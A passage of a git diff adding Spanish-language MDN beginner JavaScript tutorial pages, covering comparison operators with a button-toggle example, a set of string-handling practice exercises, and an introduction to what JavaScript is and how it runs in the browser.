+  </tr>
+  <tr>
+   <td><code>&gt;</code></td>
+   <td>Mayor que</td>
+   <td>Comprueba si el valor izquierdo es mayor que el derecho.</td>
+   <td><code>10 &gt; 20</code></td>
+  </tr>
+  <tr>
+   <td>&lt;=</td>
+   <td>Menor o igual a</td>
+   <td>Comprueba si el valor izquierdo es menor o igual que el derecho.</td>
+   <td><code>3 &lt;= 2</code></td>
+  </tr>
+  <tr>
+   <td>&gt;=</td>
+   <td>Mayor o igual a</td>
+   <td>Comprueba si el valor izquierdo es mayor o igual que el derecho..</td>
+   <td><code>5 &gt;= 4</code></td>
+  </tr>
+ </thead>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Es posible que algunas personas utilicen == y != en sus pruebas de igualdad y no igualdad. Estos son operadores válidos en JavaScript, pero difieren de === /! ==: la prueba anterior indica si los valores son iguales. pero el tipo de datos puede ser diferente, mientras que las últimas versiones estrictas prueban si el valor y el tipo de datos son los mismos. Las versiones estrictas tienden a reducir el número de errores que no se detectan, por lo que te recomendamos que los utilices.</p>
+</div>
+
+<p>Si intentas ingresar algunos de estos valores en una consola, verás que todos devuelven valores verdaderos/falsos, esos booleanos que mencionamos en el artículo anterior. Son muy útiles ya que nos permiten tomar decisiones en nuestro código; se usan cada vez que queremos hacer una elección de algún tipo, por ejemplo.:</p>
+
+<ul>
+ <li>Mostrar la etiqueta de texto correcta en un botón dependiendo de si una función está activada o desactivada.</li>
+ <li>Mostrar un mensaje sobre un juego si ha terminado, o un mensaje de victoria si el juego ha sido ganado.</li>
+ <li>Mostrando el saludo estacional correcto dependiendo de la temporada de vacaciones.</li>
+ <li>Acercar o alejar un mapa según el nivel de zoom seleccionado.</li>
+</ul>
+
+<p>Veremos cómo codificar dicha lógica cuando veamos declaraciones condicionales en un artículo futuro. Por ahora, veamos un ejemplo rápido:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Iniciar máquina&lt;/button&gt;
+&lt;p&gt;La máquina se detuvo.&lt;/p&gt;
+</pre>
+
+<pre class="brush: js notranslate">var btn = document.querySelector('button');
+var txt = document.querySelector('p');
+
+btn.addEventListener('click', updateBtn);
+
+function updateBtn() {
+  if (btn.textContent === 'Iniciar máquina') {
+    btn.textContent = 'Detener máquina';
+    txt.textContent = 'La máquina se inició!';
+  } else {
+    btn.textContent = 'Iniciar máquina';
+    txt.textContent = 'La máquina se detuvo.';
+  }
+}</pre>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/conditional.html", '100%', 100)}}</p>
+
+<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html">Abrir en una nueva ventana</a></strong></p>
+
+<p>Puede ver el operador de igualdad utilizado justo dentro de la función <code>updateBtn().</code> En este caso, no estamos probando si dos expresiones matemáticas tienen el mismo valor (estamos comprobando si el contenido de texto de un botón contiene una cadena determinada), pero sigue siendo el mismo principio. Si el botón está actualmente diciendo "Iniciar máquina" cuando se presiona, cambiamos su etiqueta a "Detener máquina" y actualizamos la etiqueta según corresponda. Si el botón está actualmente diciendo "Detener máquina" cuando se presiona, volvemos a cambiar la pantalla.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Un control de este tipo que intercambia entre dos estados generalmente se conoce como <strong>conmutador</strong>. Conmuta entre un estado y otro — Luces on, luces off, etc.</p>
+</div>
+
+<h2 id="Pon_a_prueba_tus_habilidades">Pon a prueba tus habilidades</h2>
+
+<p>Llegaste al final de este artículo, pero ¿puédes recordar la información más importante? Puedes encontrar algunas pruebas para verificar que has comprendido esta información antes de seguir avanzando — Ve <a href="/es/docs/Learn/JavaScript/First_steps/Test_your_skills:_Math">¡Pon a prueba tus habilidades!: Matemáticas</a>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este artículo hemos cubierto la información fundamental que necesitas saber sobre los números en JavaScript, por ahora. Verás los números usados una y otra vez, a lo largo de tu aprendizaje de JavaScript, por lo que es una buena idea hacer esto ahora. Si eres una de esas personas que no disfruta de las matemáticas, puedes sentirte cómodo por el hecho de que este capítulo fue bastante breve.</p>
+
+<p>En el siguiente artículo, exploraremos el texto y cómo JavaScript nos permite manipularlo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si disfrutas de las matemáticas y quieres leer más sobre cómo se implementa en JavaScript, puedes encontrar muchos más detalles en la sección principal de JavaScript de MDN. Los mejores lugares para iniciar con artículos sobre <a href="/es/docs/Web/JavaScript/Guide/Numbers_and_dates">Numero y fechas</a> y <a href="/es/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expresiones y operadores</a>.</p>
+</div>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_is_JavaScript">¿Qué es JavaScript?</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/A_first_splash">Un primer acercamiento a JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_went_wrong">¿Qué salió mal? Corrigiendo JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Variables">Guardando la información que necesitas— Variables</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Matem%C3%A1ticas">Matemáticas básicas en JavaScript — números y operadores</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Strings">Manejo de texto — cadenas en JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Useful_string_methods">Métodos útiles para el manejo de cadenas</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Arrays">Arreglos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Silly_story_generator" rel="nofollow">Evaluaciones: Generador de historias absurdas</a></li>
+</ul>
diff --git a/files/es/learn/javascript/first_steps/prueba_tus_habilidades_colon__strings/index.html b/files/es/learn/javascript/first_steps/prueba_tus_habilidades_colon__strings/index.html
new file mode 100644
index 0000000000..f919ac1ee3
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/prueba_tus_habilidades_colon__strings/index.html
@@ -0,0 +1,122 @@
+---
+title: 'Prueba tus habilidades: Strings'
+slug: 'Learn/JavaScript/First_steps/Prueba_tus_habilidades:_Strings'
+tags:
+  - Cadenas
+  - JavaScript
+  - Novato
+  - Principiante
+  - Prueba tus habilidades
+  - aprende
+  - strings
+translation_of: 'Learn/JavaScript/First_steps/Test_your_skills:_Strings'
+---
+<div>{{learnsidebar}}</div>
+
+<p>El objetivo de esta prueba de habilidad es evaluar si has entendido nuestros artículos <a href="/es/docs/Learn/JavaScript/First_steps/Strings">Manejo de texto — cadenas en JavaScript</a> y <a href="/es/docs/Learn/JavaScript/First_steps/Useful_string_methods">Métodos de cadena útiles</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes probar las soluciones en los editores interactivos a continuación, sin embargo, puede ser útil descargar el código y usar una herramienta en línea como <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, o <a href="https://glitch.com/">Glitch</a> para trabajar en las tareas.<br>
+ <br>
+ Si te quedas atascado, pídenos ayuda — consulta la sección {{anch("Evaluación o ayuda adicional")}} en la parte inferior de esta página.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: En los siguientes ejemplos, si hay un error en tu código, se mostrará en el panel de resultados de la página, para ayudarte a intentar averiguar la respuesta (o en la consola JavaScript del navegador, en el caso de la versión descargable).</p>
+</div>
+
+<h2 id="Cadenas_1">Cadenas 1</h2>
+
+<p>En nuestra primera tarea de cadenas, comenzaremos con algo pequeño. Ya tienes la mitad de una cita famosa dentro de una variable llamada <code>quoteStart</code>; nos gustaría que:</p>
+
+<ol>
+ <li>Busques la otra mitad de la cita y la agregues al ejemplo dentro de una variable llamada <code>quoteEnd</code>.</li>
+ <li>Concatenes las dos cadenas para hacer una sola cadena que contenga la cita completa. Guardes el resultado dentro de una variable llamada <code>finalQuote</code>.</li>
+</ol>
+
+<p>Verás que obtienes un error en este punto. ¿Puedes solucionar el problema con <code>quoteStart</code> para que la cita completa se muestre correctamente?</p>
+
+<p>Intenta actualizar el código en vivo a continuación para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/strings/strings1.html", '100%', 400)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/strings/strings1-download.html">Descarga el punto de partida de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Cadenas_2">Cadenas 2</h2>
+
+<p>En esta tarea, se te proporcionan dos variables, <code>quote</code> y <code>substring</code>, que contienen dos cadenas. Nos gustaría que:</p>
+
+<ol>
+ <li>Recuperes la longitud de la cita y la guardes en una variable llamada <code>quoteLength</code>.</li>
+ <li>Busques la posición del índice donde aparece <code>substring</code> en <code>quote</code>, y almacenes ese valor en una variable llamada <code>index</code>.</li>
+ <li>Uses una combinación de las variables que tienes y las propiedades/métodos de cadena disponibles para recortar la cita original a "No me gustan los huevos verdes y el jamón", y la guardes en una variable llamada <code>revisedQuote</code>.</li>
+</ol>
+
+<p>Intenta actualizar el código en vivo a continuación para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/strings/strings2.html", '100%', 400)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/strings/strings2-download.html">Descarga el punto de partida de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Cadenas_3">Cadenas 3</h2>
+
+<p>En la siguiente tarea de cadenas, se te da la misma cita con la que terminaste en la tarea anterior, ¡pero está algo rota! Queremos que la arregles y actualices, así:</p>
+
+<ol>
+ <li>Cambia la letra mayúscula para corregir con mayúscula inicial la oración (todo en minúsculas, excepto la primera letra mayúscula). Almacena la nueva cita en una variable llamada <code>fixedQuote</code>.</li>
+ <li>En <code>fixedQuote</code>, reemplaza "huevos verdes con jamón" con otro alimento que realmente no te guste.</li>
+ <li>Hay una pequeña solución más por hacer: agrega un punto al final de la cita y guarda la versión final en una variable llamada <code>finalQuote</code>.</li>
+</ol>
+
+<p>Intenta actualizar el código en vivo a continuación para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/strings/strings3.html", '100%', 400)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/strings/strings3-download.html">Descarga el punto de partida de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Cadenas_4">Cadenas 4</h2>
+
+<p>En la tarea de cadena final, te hemos dado el nombre de un teorema, dos valores numéricos y una cadena incompleta (los bits que se deben agregar están marcados con asteriscos (<code>*</code>)). Queremos que cambies el valor de la cadena de la siguiente manera:</p>
+
+<ol>
+ <li>Cámbiala de un literal de cadena normal a una plantilla literal.</li>
+ <li>Reemplaza los cuatro asteriscos con cuatro marcadores de posición en la plantilla literal. Estos deben ser:
+  <ol>
+   <li>El nombre del teorema.</li>
+   <li>Los dos valores numéricos que tenemos.</li>
+   <li>La longitud de la hipotenusa de un triángulo rectángulo, dado que las longitudes de los otros dos lados son iguales a los dos valores que tenemos. Deberás buscar cómo calcular esto a partir de lo que tienes. Haz el cálculo dentro del marcador de posición.</li>
+  </ol>
+ </li>
+</ol>
+
+<p>Intenta actualizar el código en vivo a continuación para recrear el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/tasks/strings/strings4.html", '100%', 400)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/tasks/strings/strings4-download.html">Descarga el punto de partida de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Evaluación_o_ayuda_adicional">Evaluación o ayuda adicional</h2>
+
+<p>Puedes practicar estos ejemplos en los editores interactivos anteriores.</p>
+
+<p>Si deseas que se evalúe tu trabajo o estás atascado y deseas pedir ayuda:</p>
+
+<ol>
+ <li>Coloca tu trabajo en un editor que se pueda compartir en línea, como <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> o <a href="https://glitch.com/">Glitch</a>. Puedes escribir el código tú mismo o utilizar los archivos de punto de partida vinculados en las secciones anteriores.</li>
+ <li>Escribe una publicación solicitando evaluación y/o ayuda en la <a href="https://discourse.mozilla.org/c/mdn/learn">categoría de aprendizaje del foro de discusión de MDN</a>. Tu publicación debe incluir:
+  <ul>
+   <li>Un título descriptivo como "Se busca evaluación para la prueba de habilidad de Cadenas 1".</li>
+   <li>Detalles de lo que ya has probado y lo que te gustaría que hiciéramos, p. ej. si estás atascado y necesitas ayuda, o quiere una evaluación.</li>
+   <li>Un enlace al ejemplo que deseas evaluar o con el que necesitas ayuda, en un editor que se pueda compartir en línea (como se mencionó en el paso 1 anterior). Esta es una buena práctica para entrar — es muy difícil ayudar a alguien con un problema de codificación si no puedes ver su código.</li>
+   <li>Un enlace a la página de la tarea o evaluación real, para que podamos encontrar la pregunta con la que deseas ayuda.</li>
+  </ul>
+ </li>
+</ol>
diff --git a/files/es/learn/javascript/first_steps/qué_es_javascript/index.html b/files/es/learn/javascript/first_steps/qué_es_javascript/index.html
new file mode 100644
index 0000000000..bd845c8681
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/qué_es_javascript/index.html
@@ -0,0 +1,436 @@
+---
+title: ¿Qué es JavaScript?
+slug: Learn/JavaScript/First_steps/Qué_es_JavaScript
+tags:
+  - APIs
+  - Aprender
+  - Artículo
+  - Añadir JavaScript
+  - Curso
+  - Dinámico
+  - En línea
+  - Gestores de JavaScript en linea
+  - JavaScript
+  - Navegador
+  - Núcleo
+  - Principiante
+  - comentários
+  - externo
+translation_of: Learn/JavaScript/First_steps/What_is_JavaScript
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">¡Bienvenido al curso de JavaScript para principiantes de MDN! En este artículo veremos JavaScript desde un alto nivel, respondiendo preguntas como "¿Qué es?" y "¿Qué puedes hacer con él?", y asegúrate de estar cómodo con el propósito de JavaScript.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, conocimientos básicos de HTML y CSS.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarte con lo que es JavaScript, lo que puede hacer y cómo encaja en un sitio web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Una_definición_de_alto_nivel">Una definición de alto nivel</h2>
+
+<p>JavaScript es un lenguaje de programación o de secuencias de comandos que te permite implementar funciones complejas en páginas web, cada vez que una página web hace algo más que sentarse allí y mostrar información estática para que la veas, muestra oportunas actualizaciones de contenido, mapas interactivos, animación de Gráficos 2D/3D, desplazamiento de máquinas reproductoras de vídeo, etc., puedes apostar que probablemente JavaScript está involucrado. Es la tercera capa del pastel de las tecnologías web estándar, dos de las cuales (<a href="/es/docs/Learn/HTML">HTML</a> y <a href="/es/docs/Learn/CSS">CSS</a>) hemos cubierto con mucho más detalle en otras partes del Área de aprendizaje.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13502/cake.png" style="display: block; margin: 0 auto;"></p>
+
+<ul>
+ <li>{{Glossary("HTML")}} es el lenguaje de marcado que usamos para estructurar y dar significado a nuestro contenido web, por ejemplo, definiendo párrafos, encabezados y tablas de datos, o insertando imágenes y videos en la página.</li>
+ <li>{{Glossary("CSS")}} es un lenguaje de reglas de estilo que usamos para aplicar estilo a nuestro contenido HTML, por ejemplo, establecer colores de fondo y tipos de letra, y distribuir nuestro contenido en múltiples columnas.</li>
+ <li>{{Glossary("JavaScript")}} es un lenguaje de secuencias de comandos que te permite crear contenido de actualización dinámica, controlar multimedia, animar imágenes y prácticamente todo lo demás. (Está bien, no todo, pero es sorprendente lo que puedes lograr con unas pocas líneas de código JavaScript).</li>
+</ul>
+
+<p>Las tres capas se superponen muy bien. Tomemos una etiqueta de texto simple como ejemplo. Podemos marcarla usando HTML para darle estructura y propósito:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Player 1: Chris&lt;/p&gt;</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13422/just-html.png" style="height: 28px; width: 108px;"></p>
+
+<p>Luego, podemos agregar algo de CSS a la mezcla para que se vea bien:</p>
+
+<pre class="brush: css notranslate">p {
+  font-family: 'helvetica neue', helvetica, sans-serif;
+  letter-spacing: 1px;
+  text-transform: uppercase;
+  text-align: center;
+  border: 2px solid rgba(0,0,200,0.6);
+  background: rgba(0,0,200,0.3);
+  color: rgba(0,0,200,0.6);
+  box-shadow: 1px 1px 2px rgba(0,0,200,0.4);
+  border-radius: 10px;
+  padding: 3px 10px;
+  display: inline-block;
+  cursor: pointer;
+}</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13424/html-and-css.png" style="height: 48px; width: 187px;"></p>
+
+<p>Y finalmente, podemos agregar algo de JavaScript para implementar un comportamiento dinámico:</p>
+
+<pre class="brush: js notranslate">const para = document.querySelector('p');
+
+para.addEventListener('click', updateName);
+
+function updateName() {
+  let name = prompt('Enter a new name');
+  para.textContent = 'Player 1: ' + name;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('A_high-level_definition', '100%', 80, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Intenta hacer clic en esta última versión de la etiqueta de texto para ver qué sucede (ten en cuenta también que puedes encontrar esta demostración en GitHub — ¡consulta el <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/javascript-label.html">código fuente</a> o <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/javascript-label.html">ejecútalo en vivo</a>)!</p>
+
+<p>JavaScript puede hacer mucho más que eso — exploremos qué con más detalle.</p>
+
+<h2 id="Entonces_¿qué_puede_hacer_realmente">Entonces, ¿qué puede hacer realmente?</h2>
+
+<p>El núcleo del lenguaje JavaScript de lado del cliente consta de algunas características de programación comunes que te permiten hacer cosas como:</p>
+
+<ul>
+ <li>Almacenar valores útiles dentro de variables. En el ejemplo anterior, por ejemplo, pedimos que ingreses un nuevo nombre y luego almacenamos ese nombre en una variable llamada <code>name</code>.</li>
+ <li>Operaciones sobre fragmentos de texto (conocidas como "cadenas" (<code>strings</code>) en programación). En el ejemplo anterior, tomamos la cadena "<code>Player1</code>:" y la unimos a la variable <code>name</code> para crear la etiqueta de texto completa, p. ej. ''<code>Player1: Chris</code>".</li>
+ <li>Y ejecuta código en respuesta a ciertos eventos que ocurren en una página web. Usamos un evento {{Event("click")}} en nuestro ejemplo anterior para detectar cuándo se hace clic en el botón y luego ejecutar el código que actualiza la etiqueta de texto.</li>
+ <li>¡Y mucho más!</li>
+</ul>
+
+<p>Sin embargo, lo que aún es más emocionante es la funcionalidad construida sobre el lenguaje JavaScript de lado del cliente. Las denominadas <strong>interfaces de programación de aplicaciones</strong> (<strong>API</strong>) te proporcionan superpoderes adicionales para utilizar en tu código JavaScript.</p>
+
+<p>Las API son conjuntos de bloques de construcción de código listos para usar que permiten a un desarrollador implementar programas que de otro modo serían difíciles o imposibles de implementar. Hacen lo mismo para la programación que los kits de muebles prefabricados para la construcción de viviendas — es mucho más fácil tomar paneles precortados y atornillarlos para hacer una estantería que elaborar el diseño tú mismo, que ir y encontrar la madera correcta, cortar todos los paneles del tamaño y la forma correctos, buscar los tornillos del tamaño correcto y <em>luego</em> júntalos para hacer una estantería.</p>
+
+<p>Generalmente se dividen en dos categorías.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13508/browser.png" style="display: block; height: 511px; margin: 0px auto; width: 815px;"></p>
+
+<p>Las <strong>APIs del navegador</strong> están integradas en tu navegador web y pueden exponer datos del entorno informático circundante o realizar tareas complejas y útiles. Por ejemplo:</p>
+
+<ul>
+ <li>La {{domxref("Document_Object_Model", " API del DOM (<code>Document Object Model</code>)")}} te permite manipular HTML y CSS, crear, eliminar y cambiar el HTML, aplicar dinámicamente nuevos estilos a tu página, etc. Cada vez que ves aparecer una ventana emergente en una página, o se muestra algún nuevo contenido (como vimos anteriormente en nuestra sencilla demostración), por ejemplo, ese es el DOM en acción.</li>
+ <li>La {{domxref("Geolocalization", "API de Geolocalización")}} recupera información geográfica. Así es como <a href="https://www.google.com/maps">Google Maps</a> puede encontrar tu ubicación y trazarla en un mapa.</li>
+ <li>Las APIs {{domxref("Canvas_API", "Canvas")}} y {{domxref("WebGL_API", "WebGL")}} te permiten crear gráficos animados en 2D y 3D. Las personas están haciendo cosas increíbles con estas tecnologías web — consulta <a href="https://www.chromeexperiments.com">Experimentos de Chrome</a> y <a href="http://webglsamples.org/">webglsamples</a>.</li>
+ <li><a href="https://developer.mozilla.org/es/Apps/Fundamentals/Audio_and_video_delivery">APIs de audio y video</a> como {{domxref("HTMLMediaElement")}} y {{domxref("WebRTC API", "WebRTC")}} te permiten hacer cosas realmente interesantes con multimedia, como reproducir audio y video directamente en una página web, o tomar video de tu cámara web y mostrarlo en la computadora de otra persona (prueba nuestra sencilla <a href="http://chrisdavidmills.github.io/snapshot/">demostración instantánea</a> para hacerte una idea).</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Muchas de las demostraciones anteriores no funcionarán en un navegador antiguo — al experimentar, es una buena idea utilizar un navegador moderno como Firefox, Chrome, Edge u Opera para ejecutar tu código. Deberás considerar las <a href="/es/docs/Learn/Tools_and_testing/Cross_browser_testing">pruebas en varios navegadores</a> con más detalle cuando estés más cerca de entregar el código de producción (es decir, código real que usarán los clientes reales).</p>
+</div>
+
+<p>Las <strong>APIs de terceros</strong> no están integradas en el navegador de forma predeterminada y, por lo general, debes obtener su código e información de algún lugar de la Web. Por ejemplo:</p>
+
+<ul>
+ <li>La <a href="https://dev.twitter.com/overview/documentation">API de Twitter</a> te permite hacer cosas como mostrar tus últimos tweets en tu sitio web.</li>
+ <li>La <a href="https://developers.google.com/maps/">API de Google Maps</a> y la <a href="https://wiki.openstreetmap.org/wiki/API">API de OpenStreetMap</a> te permiten insertar mapas personalizados en tu sitio web y otras funciones similares.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: estas APIs son avanzadas y no cubriremos ninguna de ellas en este módulo. Puedes obtener más información sobre estas en nuestro <a href="/es/docs/Learn/JavaScript/Client-side_web_APIs">módulo de APIs web de lado del cliente</a>.</p>
+</div>
+
+<p>¡También hay mucho más disponible! Sin embargo, no te emociones demasiado todavía. No podrás crear el próximo Facebook, Google Maps o Instagram después de estudiar JavaScript durante 24 horas — hay muchos conceptos básicos que cubrir primero. Y es por eso que estás aquí — ¡sigamos adelante!</p>
+
+<h2 id="¿Qué_está_haciendo_JavaScript_en_tu_página">¿Qué está haciendo JavaScript en tu página?</h2>
+
+<p>Aquí, de hecho, comenzaremos a ver algo de código y, mientras lo hacemos, exploraremos lo que realmente sucede cuando ejecutas JavaScript en tu página.</p>
+
+<p>Recapitulemos brevemente sobre la historia de lo que sucede cuando cargas una página web en un navegador (de lo que hablamos por primera vez en nuestro artículo <a href="/es/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_does_CSS_actually_work">Cómo funciona CSS</a>). Cuando cargas una página web en tu navegador, estás ejecutando tu código (HTML, CSS y JavaScript) dentro de un entorno de ejecución (la pestaña del navegador). Esto es como una fábrica que toma materias primas (el código) y genera un producto (la página web).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13504/execution.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Un uso muy común de JavaScript es modificar dinámicamente HTML y CSS para actualizar una interfaz de usuario, a través de la API del modelo de objetos del documento (como se mencionó anteriormente). Ten en cuenta que el código de tus documentos web generalmente se cargan y ejecutan en el orden en que aparece en la página. Si JavaScript se carga e intenta ejecutarse antes de que se hayan cargado el HTML y el CSS al que afecta, pueden producirse errores. Aprenderás formas de evitar esto más adelante en el artículo, en la sección <a href="/es/docs/Learn/JavaScript/First_steps/What_is_JavaScript#Script_loading_strategies">Estrategias de carga de scripts</a>.</p>
+
+<h3 id="Seguridad_del_navegador">Seguridad del navegador</h3>
+
+<p>Cada pestaña del navegador tiene su propio depósito separado para ejecutar código (estos depósitos se denominan "entornos de ejecución" en términos técnicos) — esto significa que, en la mayoría de los casos, el código de cada pestaña se ejecuta de forma completamente independiente y el código de una pestaña no puede afectar el código en otra pestaña, o en otro sitio web. Esta es una buena medida de seguridad — si este no fuera el caso, los piratas podrían comenzar a escribir código para robar información de otros sitios web y otras cosas muy malas.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Existen formas de enviar código y datos entre diferentes sitios web/pestañas de manera segura, pero estas son técnicas avanzadas que no cubriremos en este curso.</p>
+</div>
+
+<h3 id="Orden_de_ejecución_de_JavaScript">Orden de ejecución de JavaScript</h3>
+
+<p>Cuando el navegador encuentra un bloque de JavaScript, generalmente lo ejecuta en orden, de arriba a abajo. Esto significa que debes tener cuidado con el orden en el que colocas las cosas. Por ejemplo, volvamos al bloque de JavaScript que vimos en nuestro primer ejemplo:</p>
+
+<pre class="brush: js notranslate">const para = document.querySelector('p');
+
+para.addEventListener('click', updateName);
+
+function updateName() {
+  let name = prompt('Enter a new name');
+  para.textContent = 'Player 1: ' + name;
+}</pre>
+
+<p>Aquí seleccionamos un párrafo de texto (línea 1), luego adjuntamos un detector de eventos (línea 3) de modo que cuando se hace clic en el párrafo, el bloque de código <code>updateName()</code> (líneas 5-8) se ejecuta. El bloque de código <code>updateName()</code> (estos tipos de bloques de código reutilizables se denominan "funciones") pide al usuario un nuevo nombre y luego inserta ese nombre en el párrafo para actualizar la pantalla.</p>
+
+<p>Si cambiaras el orden de las dos primeras líneas de código, ya no funcionaría — en su lugar, obtendrías un error en la <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">consola del desarrollador del navegador</a> — <code>TypeError: para is undefined</code>. Esto significa que el objeto <code>para</code> aún no existe, por lo que no podemos agregarle un detector de eventos.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Este es un error muy común; debes tener cuidado de que los objetos a los que se hace referencia en tu código existan antes de intentar hacer algo con ellos.</p>
+</div>
+
+<h3 id="Código_interpretado_versus_compilado">Código interpretado versus compilado</h3>
+
+<p>Es posible que escuches los términos <strong>interpretados</strong> y <strong>compilados</strong> en el contexto de la programación. En los lenguajes interpretados, el código se ejecuta de arriba a abajo y el resultado de ejecutar el código se devuelve inmediatamente. No tienes que transformar el código en una forma diferente antes de que el navegador lo ejecute. El código se recibe en su forma de texto amigable para el programador y se procesa directamente desde allí.</p>
+
+<p>Los lenguajes compilados, por otro lado, se transforman (compilan) a código máquina antes de que sean ejecutados por la computadora. Por ejemplo, C/C++ se compila a código máquina que luego ejecuta la computadora. El programa se ejecuta desde un formato binario, que se generó a partir del código fuente del programa original.</p>
+
+<p>JavaScript es un lenguaje de programación interpretado ligero. El navegador web recibe el código JavaScript en su forma de texto original y ejecuta el script a partir de ahí. Desde un punto de vista técnico, la mayoría de los intérpretes de JavaScript modernos utilizan una técnica llamada <strong>compilación en tiempo real</strong> para mejorar el rendimiento; el código fuente de JavaScript se compila en un formato binario más rápido mientras se usa el script, de modo que se pueda ejecutar lo más rápido posible. Sin embargo, JavaScript todavía se considera un lenguaje interpretado, ya que la compilación se maneja en el entorno de ejecución, en lugar de antes.</p>
+
+<p>Ambos tipos de lenguaje tienen ventajas, pero no las abordaremos ahora.</p>
+
+<h3 id="Código_de_lado_del_servidor_versus_de_lado_del_cliente">Código de lado del servidor versus de lado del cliente</h3>
+
+<p>También puedes escuchar los términos código <strong>de lado del servidor</strong> y <strong>de lado del cliente</strong>, especialmente en el contexto del desarrollo web. El código de lado del cliente es un código que se ejecuta en la computadora del usuario — cuando se ve una página web, el código de lado del cliente de la página se descarga, luego se ejecuta y se muestra en el navegador. En este módulo estamos hablando explícitamente de <strong>JavaScript de lado del cliente</strong>.</p>
+
+<p>El código de lado del servidor, por otro lado, se ejecuta en el servidor, luego sus resultados se descargan y se muestran en el navegador. Ejemplos de lenguajes web populares de lado del servidor incluyen a ¡PHP, Python, Ruby, ASP.NET y... JavaScript! JavaScript también se puede utilizar como lenguaje de lado del servidor, por ejemplo, en el popular entorno Node.js — puedes obtener más información sobre JavaScript de lado del servidor en nuestro tema <a href="/es/docs/Learn/Server-side">Sitios web dinámicos — Programación de lado del servidor</a>.</p>
+
+<h3 id="Código_dinámico_versus_estático">Código dinámico versus estático</h3>
+
+<p>La palabra <strong>dinámico</strong> se usa para describir tanto a JavaScript de lado del cliente como a los lenguajes de lado del servidor — se refiere a la capacidad de actualizar la visualización de una página web/aplicación para mostrar diferentes cosas en diferentes circunstancias, generando contenido nuevo según sea necesario. El código de lado del servidor genera dinámicamente nuevo contenido en el servidor, p. ej. extraer datos de una base de datos, mientras que JavaScript de lado del cliente genera dinámicamente nuevo contenido dentro del navegador del cliente, p. ej. creando una nueva tabla HTML, llenándola con los datos solicitados al servidor y luego mostrando la tabla en una página web que se muestra al usuario. El significado es ligeramente diferente en los dos contextos, pero relacionado, y ambos enfoques (de lado del servidor y de lado del cliente) generalmente funcionan juntos.</p>
+
